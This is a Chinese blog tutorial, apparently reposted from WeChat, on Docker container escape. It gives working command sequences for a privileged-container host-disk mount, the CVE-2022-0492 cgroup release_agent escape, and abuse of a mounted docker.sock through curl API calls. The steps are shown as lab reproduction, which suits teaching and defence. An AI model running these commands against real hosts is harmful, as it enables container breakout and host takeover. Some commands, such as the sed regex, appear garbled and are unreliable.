接上文,上文主要说了一些比较基础的安全问题,今天这篇文章主要是作者自己在学习过程中碰到的一些坑和思考,进入正题。
上文单独留了一个容器逃逸问题出来,主要是因为逃逸非常多,并且会配上很多图,所以特意留一篇出来单独说。
说逃逸手法之前,我们先回顾一下有哪些逃逸方法,这里列出来,我们一个一个说。
特权逃逸
在一次渗透测试中拿下了某个机器,这里先判断完是不是docker,然后查看权限
cat /proc/self/status | grep Cap
#用于查看权限,可以拿到后可以使用capsh --decode=xxxxxx来进行解码查看权限
为了方便后续操作所以反弹了一下
fdisk -l
#查看挂载磁盘设备
但是因为这里没有这个命令,就用另一个命令
df -h
#df -h是一个常用的Linux命令,用于显示文件系统的磁盘空间使用情况,命令的输出通常会列出各个挂载的文件系统及其磁盘空间使用情况,包括文件系统的总大小、已用空间、可用空间和使用率等信息。
我们主要需要列出挂载信息,所以换个命令也可以
一般来说最大的那个就是宿主机磁盘,然后创建一个目录,将该宿主机磁盘挂载到我们创建的目录,如下所示
df -h
#显示挂载信息
mkdir /nekotaoyi
#创建目录,准备将宿主机磁盘挂载到这个目录来
mount /dev/vda1 /nekotaoyi
#挂载宿主机磁盘到目标
chroot /nekotaoyi
#改变当前进程及其子进程的根目录为/nekotaoyi,此时因为nekotaoyi挂载的实际上是宿主机的磁盘,所以就获取到了宿主机的shell,此时就逃逸出来了
CVE-2022-0492
这里附带镜像地址,直接拉取复现就好
docker pull rinchat/test:CVE-2022-0492
拉取后我们先关闭selinux
setenforce 0
然后开启用户命名空间
echo user.max_user_namespaces=15000 >/etc/sysctl.d/90-max_net_namespaces.conf
##user.max_user_namespaces是 Linux 内核中一个用于控制用户命名空间数量的参数,命名空间是隔离机制的一种,这里主要是设置将命名空间上限设置为15000,并写入配置文件中
sysctl -p /etc/sysctl.d /etc/sysctl.d/90-max_net_namespaces.conf
##sysctl -p是加载配置文件,使我们上述写的配置文件生效
到这一步开启完成就开始了,我们启动并进入容器中
docker run -itd -v `pwd`:/test --security-opt "seccomp=unconfined" --security-opt "apparmor=unconfined" --name=test rinchat/test:CVE-2022-0492
#-v是挂载,`pwd`:/test的意思使用pwd命令获取当前宿主机的工作目录,然后将当前宿主机的路径挂载到容器的/test下
#--security-opt "seccomp=unconfined是将容器的 seccomp 配置为不受限制的模式(unconfined)
#--security-opt "apparmor=unconfined"是把apparmor关闭,否则无法挂载
docker exec -it test /bin/bash
#进入容器
然后我们将cgroup进行挂载
mkdir /tmp/neko
mount -t cgroup -o memory cgroup /tmp/neko/
mkdir /tmp/neko/x
ls -alh /tmp/neko/ | grep x
dr-xr-xr-x 7 root root 0 Feb 6 16:28 .
drwxrwxrwt 1 root root 4.0K Feb 6 16:27 ..
drwxr-xr-x 4 root root 0 Feb 6 15:39 docker
drwxr-xr-x 2 root root 0 Feb 6 15:37 init.scope
-rw-r--r-- 1 root root 0 Feb 6 16:26 memory.kmem.max_usage_in_bytes
-rw-r--r-- 1 root root 0 Feb 6 16:26 memory.kmem.tcp.max_usage_in_bytes
-rw-r--r-- 1 root root 0 Feb 6 16:26 memory.max_usage_in_bytes
drwxr-xr-x 76 root root 0 Feb 6 15:37 system.slice
drwxr-xr-x 3 root root 0 Feb 6 15:37 user.slice
drwxr-xr-x 2 root root 0 Feb 6 15:45 x
host_path='sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab'
#首先/etc/mtab文件是一个包含了当前已挂载文件系统信息的文件,从该文件中可以获取当前已挂载的文件系统和他们的挂载点位置信息
#sed -n用于正则提取mtab文件中的包含perdir的行以及perdir后面的路径,然后将值赋给host_path
然后我们将notify_on_release 设置为1,让他触发,因为当notify_on_release为1时,cgroup 在被释放时会通知系统,然后如果我们指定了某个release_agent,就会交给指定的release_agent程序来处理。结合起来就可以实现在cgroup被释放时,通知系统让指定的release_agent程序来处理释放事件,就让逃逸拥有了可能性。
echo 1 > /tmp/testcgroup/x/notify_on_release
然后创建触发release_agent时执行的文件
touch /neko.sh
echo '#!/bin/sh' > /neko.sh
echo "ls -alh /root >> $host_path/nekotaoyiok" >> /neko.sh
chmod 777 /neko.sh
然后再修改release_agen,让他指向我们上面neko.sh在宿主机中的位置,这个信息就是上面的那个sed -n获取到的,现在host_path就是这个位置信息。
echo "$host_path/neko.sh" > /tmp/neko/release_agent
#将上面正则提取到的neko.sh在宿主机中的位置给release_agent,也就是约等于等下如果出现了上述说的cgroup释放的动作,就会导致触发release_agent,而此时的release_agent又是被我们修改过的,相当于会执行ls -alh /root这个命令
然后给cgroup节点输入一个任务,把自己的当前shell的进程的PID输出到cgroup.procs中
sh -c "echo $$ > /tmp/neko/x/cgroup.procs"
然后sh 命令只执行了一个 echo 指令,那么 x cgroup 节点中就没有任何任务了,触发 notify_on_release 执行 release_agent 指向的 /neko.sh 文件,然后在容器外执行我们指定的命令,逃逸成功。
挂载docker socket逃逸
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
先说tcp://host:port吧,因为很简单,可以一句话代过,这个其实就是我们常说的docker api未授权,其实就是靠对docker.sock通信,只不过这里用的是我们自己的docker来构建请求,所以方便很多,网上有很多相关文章,就不赘述了。
docker.sock可能这么一看比较陌生,但是portainer服务或许大家不陌生,而portainer是如何对docker进行管理的,其实就是依赖于docker.sock,在portainer启动过程中需要将docker.sock挂载到portainer中,他其实就是通过docker.sock套接字来完成对docker的管理和操作。
docker run -d -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock portainer/portainer
docker.sock是docker的守护进程,一般来说以宿主机root权限运行,而正是因为这点,如果docker.sock被错误挂载到了一个有漏洞的容器内,并成功获取容器权限,此时就可以对docker.sock发起通信以高权限对docker进行管理,这就造成了可逃逸的风险。
先说unix:///var/run/docker.sock
我们不需要在容器内部大张旗鼓的安装docker,我们首先思考,docker命令的本质是什么。
其实docker命令的本质可以看做是对dockerapi发起通信,然后docker经过处理回显我们想看到的内容。
Docker API 是通过 HTTP RESTful 接口来实现的,因此可以使用各种编程语言和工具来访问和调用。
就好比docker info其实就约等于是我们向docker.sock发起一个请求,请求获取info节点,然后docker帮我们处理json数据回显给我们,那这个请求其实就是一个HTTP请求,我们只需要可以构建HTTP请求的工具就可以实现这样的效果。
首先我们自己进行测试,将docker.sock挂载到容器中
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock --name=dockersock ubuntu:16.04 /bin/bash
#这里-v就是挂载,将宿主机的docker.sock挂载到容器的/var/run目录下
然后进入容器中
docker exec -it dockersock /bin/bash
ls -alh /var/run | grep docker.sock
如果存在该文件则可能存在漏洞,然后我们开始等价代换,docker info的命令其实我们翻找docker官方网站api手册能够看到,其实就是GET请求,然后对接口发起通信,获取info信息。
那我们构建一个http请求去获取就好
curl --unix-socket /var/run/docker.sock http://localhost/info | jq
#因为我在容器安装了jq用于处理json数据,使得更加美观,所以会有这个命令
首先我们在主机获取docker info的信息
然后我们再对比容器内的信息
root@dc77c9f875c6:/# curl --unix-socket /var/run/docker.sock http://localhost/info | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2355 0 2355 0 0 346k 0 --:--:-- --:--:-- --:--:-- 383k
{
"ID": "FW7A:JR2C:HUCD:CCZH:BEMN:ENQF:3ZCC:5NKU:B7FV:NICZ:YTMN:IKHS",
"Containers": 2,
"ContainersRunning": 1,
"ContainersPaused": 0,
"ContainersStopped": 1,
"Images": 3,
"Driver": "overlay2",
"DriverStatus": [
[
"Backing Filesystem",
"extfs"
],
[
"Supports d_type",
"true"
],
[
"Native Overlay Diff",
"true"
]
],
"SystemStatus": null,
"Plugins": {
"Volume": [
"local"
],
"Network": [
"bridge",
"host",
"macvlan",
"null",
"overlay"
],
"Authorization": null,
"Log": [
"awslogs",
"fluentd",
"gcplogs",
"gelf",
"journald",
"json-file",
"local",
"logentries",
"splunk",
"syslog"
]
},
"MemoryLimit": true,
"SwapLimit": false,
"KernelMemory": true,
"CpuCfsPeriod": true,
"CpuCfsQuota": true,
"CPUShares": true,
"CPUSet": true,
"IPv4Forwarding": true,
"BridgeNfIptables": true,
"BridgeNfIp6tables": true,
"Debug": false,
"NFd": 33,
"OomKillDisable": true,
"NGoroutines": 51,
"SystemTime": "2024-02-07T02:11:54.32215232+08:00",
"LoggingDriver": "json-file",
"CgroupDriver": "cgroupfs",
"NEventsListener": 0,
"KernelVersion": "4.15.0-112-generic",
"OperatingSystem": "Ubuntu 16.04.7 LTS",
"OSType": "linux",
"Architecture": "x86_64",
"IndexServerAddress": "https://index.docker.io/v1/",
"RegistryConfig": {
"AllowNondistributableArtifactsCIDRs": [],
"AllowNondistributableArtifactsHostnames": [],
"InsecureRegistryCIDRs": [
"127.0.0.0/8"
],
"IndexConfigs": {
"docker.io": {
"Name": "docker.io",
"Mirrors": [
"https://kuamavit.mirror.aliyuncs.com/",
"https://6kx4zyno.mirror.aliyuncs.com/",
"https://docker.mirrors.ustc.edu.cn/"
],
"Secure": true,
"Official": true
}
},
"Mirrors": [
"https://kuamavit.mirror.aliyuncs.com/",
"https://6kx4zyno.mirror.aliyuncs.com/",
"https://docker.mirrors.ustc.edu.cn/"
]
},
"NCPU": 2,
"MemTotal": 4112302080,
"GenericResources": null,
"DockerRootDir": "/data/docker",
"HttpProxy": "",
"HttpsProxy": "",
"NoProxy": "",
"Name": "neko-virtual-machine",
"Labels": [],
"ExperimentalBuild": false,
"ServerVersion": "18.09.7",
"ClusterStore": "",
"ClusterAdvertise": "",
"Runtimes": {
"runc": {
"path": "runc"
}
},
"DefaultRuntime": "runc",
"Swarm": {
"NodeID": "",
"NodeAddr": "",
"LocalNodeState": "inactive",
"ControlAvailable": false,
"Error": "",
"RemoteManagers": null
},
"LiveRestoreEnabled": false,
"Isolation": "",
"InitBinary": "docker-init",
"ContainerdCommit": {
"ID": "",
"Expected": ""
},
"RuncCommit": {
"ID": "N/A",
"Expected": "N/A"
},
"InitCommit": {
"ID": "v0.18.0",
"Expected": "fec3683b971d9c3ef73f284f176672c44b448662"
},
"SecurityOptions": [
"name=apparmor",
"name=seccomp,profile=default"
],
"Warnings": [
"WARNING: No swap limit support"
]
}
可以看到其实获取到的信息和上面docker info获取的信息一致,那也就是说,同样的可以通过接口来创建容器
创建一个挂载根目录的容器
curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json"
-d '{"Image": "ubuntu:16.04", "Cmd": ["/bin/bash"], "Tty": true, "OpenStdin": true, "Mounts": [{"Type": "bind", "Source": "/", "Target": "/mnt"}]}'
http://localhost/containers/create?name=neko1
这样就创建成功了,并且返回了一个Id,这个Id用作后续启动和进入容器
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/neko1/start
这样发起一个请求就可以启动容器了
然后看一下容器有没有跑起来,这个等同于docker ps
curl --unix-socket /var/run/docker.sock "http://localhost/containers/json"
然后我们需要进入容器,那就需要先创建一个exec
在这之前我们先在宿主机创建一个flag文件,名为neko
然后创建一个exec,如下所示
curl -i -s --unix-socket /var/run/docker.sock -X POST
-H "Content-Type: application/json"
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/mnt/root/neko"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'
http://localhost/containers/neko1/exec
这段的意思是读取/mnt/root目录下的neko文件,因为我们上面通过docker.sock创建了一个挂载了根目录的容器。
然后我们会得到一个exec_id,留着下面用。
然后再运行我们创建的这个exec就行
curl -i -s --unix-socket /var/run/docker.sock -X POST
-H 'Content-Type: application/json'
--data-binary '{"Detach": false,"Tty": false}'
http://localhost/exec/99ba425d53ff0b21ff8c4dc f5bc1c8da440b32969064afe3841160930751fdf8/start
至此就成功利用了,从创建容器到最后执行rce,其实有更多的利用手法为了遵纪守法就只演示到这里。
大家有更多想法可以后台联系作者,谢谢大家。
下一篇,浅谈云安全之反向获取dockerfile
参考文章:
https://wiki.teamssix.com/CloudNative/Docker/CVE-2022-0492.html
原文始发于微信公众号(Crystal Equation):浅谈云安全之逃逸手法(docker篇)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论